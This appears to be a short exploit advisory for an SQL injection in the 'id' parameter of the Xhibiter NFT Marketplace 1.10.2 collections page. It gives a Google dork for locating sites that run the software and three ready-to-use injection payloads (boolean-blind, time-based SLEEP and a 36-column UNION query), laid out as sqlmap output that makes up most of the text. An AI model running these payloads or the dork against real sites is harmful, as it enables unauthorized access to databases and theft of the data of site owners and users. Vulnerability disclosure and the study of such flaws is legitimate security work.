Xhibiter NFT Marketplace 1.10.2 - SQL Injection Vulnerability

# Exploit Title: xhibiter nft marketplace SQLI
# Google Dork: intitle:"View - Browse, create, buy, sell, and auction NFTs"
# Exploit Author: Sohel yousef - https://www.linkedin.com/in/sohel-yousef-50a905189/
# Vendor Homepage: https://elements.envato.com/xhibiter-nft-marketplace-html-template-AQN45FA
# Version: 1.10.2
# Tested on: linux 
# CVE : [if applicable]

on this dir 
https://localhost/collections?id=2
xhibiter nft marketplace suffers from SQLI 

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Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2' AND 4182=4182 AND 'rNfD'='rNfD

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=2' AND (SELECT 1492 FROM (SELECT(SLEEP(5)))HsLV) AND 'KEOa'='KEOa

    Type: UNION query
    Title: MySQL UNION query (NULL) - 36 columns
    Payload: id=2' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162626271,0x655465754c50524d684f764944434458624e4e596c614b6d4a56656f495669466d4b704362666b58,0x71716a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
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